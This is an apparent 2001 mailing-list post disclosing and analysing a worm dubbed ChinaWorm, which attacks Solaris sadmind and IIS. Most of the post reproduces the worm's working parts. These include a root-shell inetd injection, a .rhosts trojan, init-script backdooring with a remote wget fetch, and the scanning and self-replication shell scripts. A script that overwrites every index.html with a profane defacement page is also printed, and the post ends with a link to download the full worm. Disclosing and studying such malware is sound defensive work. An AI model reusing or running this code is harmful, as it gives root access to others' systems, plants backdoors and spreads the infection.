--/ TWO-HEADED WORM - CHINAWORM \-- Since Bugtraq, nor CERT haven't mentionted anything about it, it appears that there is another worm spreading on the loose. That's a new type of worm, because it attacks two type of systems simultanouesly. That's where the two-headed meaning applies. I will call it ChinaWorm since that's the name in the index tree bellow. In fact, looks much more like a combined worm. Its creator appears to be using sysadmcnat_private where he recieves the results of his work. CW scans C and B class networks for Sun's Solaris Sadmind vulnerability as well it does for vulnerable IIS hosts. It parasitely lurks in them when it's able to break in. When it builds a list with new hosts, it tries to replicate itself. I've seen it before and I see it now. Just deciced to drop some lines to make notice of it. Many must have seen 111/tcp probes over their networks. Nov 4 15:30:17 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143 DST=x.y.z.p LEN=44 TOS=0x00 PREC=0x00 TTL=235 ID=47042 DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 SYN URGP=0 Nov 4 15:30:18 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143 DST=x.y.z.p LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=47043 DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 RST URGP=0 The worm installs a primitive backdoor listening to 600/tcp on the SunOS hosts that breaks into, so anyone is free to join. A brief explanation of what found plus ``snapshots'' follows. Some of the sources are published bellow, some are not but are available. source host: 216.227.125.143 uname report: SunOS jbod-lab 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-60 ps report: UID PID PPID C STIME TTY TIME CMD root 0 0 0 Oct 31 ? 0:04 sched root 1 0 0 Oct 31 ? 0:18 /etc/init -r root 2 0 0 Oct 31 ? 0:00 pageout root 3 0 1 Oct 31 ? 41:00 fsflush root 641 1 0 Oct 31 ? 0:00 /usr/lib/saf/sac -t 300 root 380 1 0 Oct 31 ? 0:00 /usr/sbin/rpcbind root 644 641 0 Oct 31 ? 0:00 /usr/lib/saf/ttymon root 463 1 0 Oct 31 ? 0:00 /usr/lib/lpsched root 412 1 0 Oct 31 ? 0:00 /usr/lib/nfs/statd root 484 1 0 Oct 31 ? 0:00 /usr/lib/sendmail -bd -q1h root 433 1 0 Oct 31 ? 0:57 /usr/sbin/syslogd -n -z 14 root 453 1 0 Oct 31 ? 0:06 /usr/sbin/nscd root 407 1 0 Oct 31 ? 0:05 /usr/sbin/inetd -s root 382 1 0 Oct 31 ? 0:00 /usr/sbin/keyserv root 414 1 0 Oct 31 ? 0:00 /usr/lib/nfs/lockd root 429 1 0 Oct 31 ? 0:00 /usr/lib/autofs/automountd root 444 1 0 Oct 31 ? 0:00 /usr/sbin/cron root 494 1 0 Oct 31 ? 0:00 /usr/lib/utmpd root 481 1 0 Oct 31 ? 0:00 /usr/lib/power/powerd root 519 1 0 Oct 31 ? 0:04 /usr/lib/osa/bin/arraymon root 530 1 0 Oct 31 ? 0:00 /usr/lib/osa/bin/rdaemon 24 156 root 64 root 8848 1 0 Nov 01 ? 0:03 /usr/local/sbin/sshd root 585 1 0 Oct 31 ? 0:00 /usr/sbin/vold root 564 530 0 Oct 31 ? 0:00 /usr/lib/osa/bin/rdaemon 24 156 root 619 1 0 Oct 31 ? 0:00 /usr/lib/snmp/snmpdx -y -c /etc/snmp/conf root 632 1 0 Oct 31 ? 0:00 /usr/dt/bin/dtlogin -daemon root 634 1 0 Oct 31 ? 0:00 /usr/lib/dmi/snmpXdmid -s jbod-lab root 631 1 0 Oct 31 ? 0:00 /usr/lib/dmi/dmispd root 642 1 0 Oct 31 console 0:00 /usr/lib/saf/ttymon -g -h -p jbod-lab console login: -T sun -d /dev/console -l root 327 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh root 15620 1 0 02:02:05 ? 0:01 /usr/lib/osa/bin/parityck -aqf root 14241 338 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a 109.121.177.1 -b 109.121.177.50 80 root 14231 335 0 06:48:30 ? 0:00 /dev/cuc/grabbb -t 3 -a 193.68.183.151 -b 193.68.183.200 111 root 14225 311 0 06:48:29 ? 0:00 /dev/cuc/grabbb -t 3 -a 164.183.177.1 -b 164.183.177.50 111 root 14229 326 0 06:48:30 ? 0:00 /dev/cuc/grabbb -t 3 -a 65.124.177.1 -b 65.124.177.50 111 root 347 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh root 338 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh root 14246 345 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a 14.194.177.1 -b 14.194.177.50 111 root 345 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh root 335 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh root 326 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh root 314 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh root 13248 310 0 06:44:24 ? 0:00 /bin/sleep 300 root 310 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/time.sh root 29908 1 0 05:27:45 ? 0:00 /usr/sbin/inetd -s /tmp/.f root 14235 347 0 06:48:31 ? 0:00 /dev/cuc/grabbb -t 3 -a 109.216.177.1 -b 109.216.177.50 80 root 14216 314 0 06:48:28 ? 0:00 /dev/cuc/grabbb -t 3 -a 18.214.177.1 -b 18.214.177.50 80 root 311 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh root 14237 327 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a 195.209.179.151 -b 195.209.179.200 80 file index in /dev/cuc: drwxr-xr-x 2 root bin 632 Apr 29 2001 ./ drwxr-xr-x 3 root bin 72 Nov 4 17:11 ../ -rwxr-xr-x 1 root bin 6556 Apr 26 2001 brute* -rw-r--r-- 1 root bin 701440 May 8 23:31 chinaworm.tar -rw-r--r-- 1 root bin 86 Apr 26 2001 cmd1.txt -rw-r--r-- 1 root bin 655 Apr 29 2001 cmd2.txt -rw-r--r-- 1 root root 349712 Apr 29 2001 core -rwxr-xr-x 1 root bin 11828 Apr 25 2001 grabbb* -rwxr-xr-x 1 root root 66164 Apr 29 2001 gzip* -rw-r--r-- 1 root bin 413 Apr 26 2001 index.html -rw-r--r-- 1 root root 349696 May 6 04:42 junk.tar -rwxr-xr-x 1 root bin 28620 Apr 26 2001 nc* -rwxr-xr-x 1 root bin 222608 May 7 21:01 pico* -rw-r--r-- 1 root root 10 Apr 29 2001 pkgadd.txt -rw-r--r-- 1 root bin 151 Apr 26 2001 ranip.pl -rwxr-xr-x 1 root bin 1591 Apr 27 2001 sadmin.sh* -rwxr-xr-x 1 root bin 14644 Apr 25 2001 sadmindex-sparc* -rwxr-xr-x 1 root bin 217 Apr 26 2001 start.sh* -rw-r--r-- 1 root bin 6387 May 24 00:48 test -rwxr-xr-x 1 root bin 566 Apr 27 2001 time.sh* -rw-r--r-- 1 root bin 350208 May 7 21:22 uni.tar -rw-r--r-- 1 root bin 67798 Apr 26 2001 uniattack.pl -rwxr-xr-x 1 root bin 645 Apr 26 2001 uniattack.sh* -rwxr-xr-x 1 root root 136288 Apr 29 2001 wget* brute - SPARC executable used to inject the folowing code into a solaris box vulnerable to the sadmind vulnerability [bugtraq id n\a]: echo 'pcserver stream tcp nowait root /bin/sh sh -i' > /tmp/.f; /usr/sbin/inetd -s /tmp/.f; rm -f /tmp/.f; The above would bind a rootshell on port 600/tcp cmd1.txt - commands used to trojan a shell service, using rsh -lroot 'sh -i' tactic /bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk -F: '{print $6}'`/.rhosts exit cmd2.txt - will extract uni.tar & backdoor the system's init scripts; further explanation below /bin/tar -xvf /tmp/uni.tar /bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1 /bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1 /bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2 /bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc /bin/chmod 744 /etc/rc2.d/S71rpc /dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz http://202.96.209.10:80/mirrors/www.sunfreeware.com/sparc/2.6/perl-5.005_03-sol26-sparc-local.gz /dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz /bin/mkdir /usr/local /bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d /tmp/perl-5.005_03-sol26-sparc-local /bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local exit core: ELF 32-bit MSB core file, SPARC, version 1, from 'sadmindex-sparc' grabbb - network mapping utility gzip, nc, pico & wget - common tools involved in the process of replication index.html - obviously the creator of the worm, will probably want to deface the site's contents: <HTML><HEAD> <BODY bgColor=black><BR><BR><BR><BR><BR><BR> <TABLE width="100%"> <TBODY> <TR> <TD> <P align=center><FONT color=red size=7>fuck USA Government</FONT></P> <TR> <TD> <P align=center><FONT color=red size=7>fuck PoizonBOx</FONT></P> <TR> <TD> <P align=center><FONT color=red size=4>contact:sysadmcnat_private </FONT></P></TR></TBODY></TABLE></BODY></HTML> ranip.pl - used to allocate B,C ranges of ips use Getopt::Long; $addr[0] = int(rand(254)+1); $addr[1] = int(rand(255)); $b_ip = "$addr[0].$addr[1]"; print $b_ip; sadmin.sh - the most important part of the worm - will try to read the ``hacked'' list and try to distribute itself using rcp tactics. while true do i=`/usr/local/bin/perl /dev/cuc/ranip.pl` j=0 while [ $j -lt 256 ];do /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 111 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 111 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 111 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 111 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 111 >> /dev/cub/$i.txt j=`/bin/echo "$j+1"|/bin/bc` done iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt` for ip in $iplist;do /bin/rpcinfo -p $ip > /dev/cub/$i.rpc.txt /bin/grep 100232 /dev/cub/$i.rpc.txt >/dev/null 2>&1 if [ $? = 0 ];then /dev/cuc/brute 3 $ip >/dev/null 2>&1 if [ $? = 0 ];then /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 /bin/tar -cvf /tmp/uni.tar /dev/cuc /bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1 if [ $? = 0 ];then /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 & /bin/echo $ip >> /dev/cub/sadminhack.txt /bin/rm -f /tmp/uni.tar fi else /dev/cuc/brute 4 $ip >/dev/null 2>&1 if [ $? = 0 ];then /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 /bin/tar -cvf /tmp/uni.tar /dev/cuc /bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1 if [ $? = 0 ];then /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 & /bin/echo $ip >> /dev/cub/sadminhack.txt /bin/rm -f /tmp/uni.tar fi fi fi fi /bin/rm -f /dev/cub/$i.rpc.txt done /bin/rm -f /dev/cub/$i.txt done sadmindex-sparc - the sadmind exploit, SPARC binary start.sh - the initalizing tool: #!/bin/sh if [ ! -d /dev/cub ]; then /bin/mkdir /dev/cub fi /bin/nohup /dev/cuc/time.sh & i=1 while [ $i -lt 5 ] do /bin/nohup /dev/cuc/sadmin.sh & /bin/nohup /dev/cuc/uniattack.sh & i=`/bin/echo "$i+1"|/bin/bc` done test - output from sadmindex-sparc time.sh - will check wheter it's done, and if so will try to overwite all index.html documnts found on the host with the index document suppliedl. #!/bin/sh /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1 while true do /bin/sleep 300 /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2 /bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3 process=`/bin/awk '{print $2}' /dev/cub/tmp2` for p in $process;do /bin/grep $p /dev/cub/tmp3 if [ $? = 0 ];then /bin/kill -9 $p fi done /bin/cp /dev/cub/tmp2 /dev/cub/tmp1 i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l` if [ $i -gt 2000 ];then /bin/nohup /bin/find / -name "index.html" -exec /bin/cp /dev/cuc/index.html {} \; & /bin/rm -f /dev/cub/result.txt fi done uniattack.pl - Nimda based perl port of the well known IIS exploit, will perform all of the above stuff at once; I'm concerned to paste it here. ~60K. A must see. uniattack.sh - search for vulnerable IIS' from the list created. #!/bin/sh while true do i=`/usr/local/bin/perl /dev/cuc/ranip.pl` j=0 while [ $j -lt 256 ];do /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt j=`/bin/echo "$j+1"|/bin/bc` done iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt` for ip in $iplist;do /usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt done rm -f /dev/cub/$i.txt done * A Copy of ChinaWorm is available at http://212.7.192.4/cw.tgz * /sh First rule of public speaking. First, tell 'em what you're goin' to tell 'em; then tell 'em; then tell 'em what you've tole 'em. ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Mon Nov 05 2001 - 09:49:31 PST